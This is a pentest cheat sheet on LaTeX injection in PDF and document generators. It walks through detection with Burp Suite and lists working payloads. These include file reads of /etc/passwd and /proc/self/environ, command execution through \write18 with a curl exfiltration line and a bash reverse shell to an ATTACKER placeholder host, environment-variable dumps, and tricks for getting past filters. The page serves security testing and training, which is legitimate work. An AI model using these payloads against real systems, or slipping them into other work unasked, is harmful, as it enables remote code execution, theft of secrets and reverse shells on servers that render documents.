Web

LaTeX Injection

LaTeX injection in PDF/document generators: RCE via \input/\include, file read via \input, SSRF via \url, command execution via \write18 and shell_escape, and blind detection via timing/Collaborator. Covers pdflatex, xelatex, and LaTeXML.

What is LaTeX Injection

When user input is passed to a LaTeX compiler (pdflatex, xelatex, lualatex) to generate PDFs or documents, unescaped special characters allow injection of LaTeX commands. This can lead to:

  • File read via \input or \include
  • RCE via \write18 (shell escape mode)
  • SSRF via package URL loading
  • DoS via infinite loops or recursive includes

Detection

Step 1 — Find PDF generation features

Look for features that take user input and produce a PDF or rendered document:

  • Invoice/report generation
  • Resume builders
  • Math formula renderers
  • Certificate generators

Step 2 — Inject LaTeX special characters

In Burp Repeater, inject these into input fields one by one:

$
%
_
^
\
{
}
~
#
&

A LaTeX error in the PDF (missing $ warning, unmatched {) or a broken PDF confirms user input reaches the LaTeX processor.

Step 3 — Inject a harmless command

\textbf{test}
\LaTeX
\today

If these render in the PDF output → command injection confirmed.

Step 4 — Test OOB via Collaborator

\url{http://COLLABORATOR}
\href{http://COLLABORATOR}{click}

If Collaborator receives a DNS/HTTP ping → SSRF via LaTeX URL handling confirmed.


Exploit 1: File Read via \input

\input{/etc/passwd}
\include{/etc/hostname}
\input{/proc/self/environ}

The file contents are embedded into the PDF output.

For Windows:

\input{C:/Windows/System32/drivers/etc/hosts}

Exploit 2: RCE via \write18 (shell_escape)

If the LaTeX compiler is invoked with -shell-escape or --enable-write18:

\immediate\write18{id > /tmp/pwn.txt}
\input{/tmp/pwn.txt}

Or direct output in the PDF:

\immediate\write18{curl http://ATTACKER/$(id)}

Reverse shell:

\immediate\write18{bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'}

Exploit 3: Detect Shell Escape via Timing

\immediate\write18{sleep 5}

If the PDF generation takes 5 seconds longer → write18 (shell escape) is enabled.


Exploit 4: Read Files via verbatim

\verbatiminput{/etc/passwd}

The file is rendered verbatim in the PDF without LaTeX processing.


Exploit 5: Environment Variable / Config Exfiltration

\immediate\write18{env > /tmp/env.txt}
\input{/tmp/env.txt}

Escape Sequences to Bypass Filters

If the app sanitises \write18, try:

\def\payload{\write18{id}}
\payload

% Unicode escape (some engines)
^^5cwrite18{id}   (^^ notation = hex char 0x5c = backslash)

% Using \csname
\csname write18\endcsname{id}

% Nested definitions
\expandafter\write18\expandafter{id}

LaTeX Special Characters Reference

CharacterLaTeX meaningEscape
\Command prefix\textbackslash{}
$Math mode\$
%Comment\%
&Table column sep\&
#Macro argument\#
_Subscript\_
^Superscript\^{}
{ }Grouping\{ \}
~Non-breaking space\~{}

Burp Suite workflow

  1. Proxy — identify PDF generation endpoints; intercept requests with user data in PDF fields.
  2. Repeater — inject \textbf{test}, \today, \input{/etc/passwd}.
  3. Collaborator — inject \url{http://COLLABORATOR} for SSRF/OOB detection.
  4. For timing-based shell escape detection: inject \immediate\write18{sleep 5} and measure response time in Repeater.
  5. Decoder — check PDF response bytes for embedded file content after \input injection.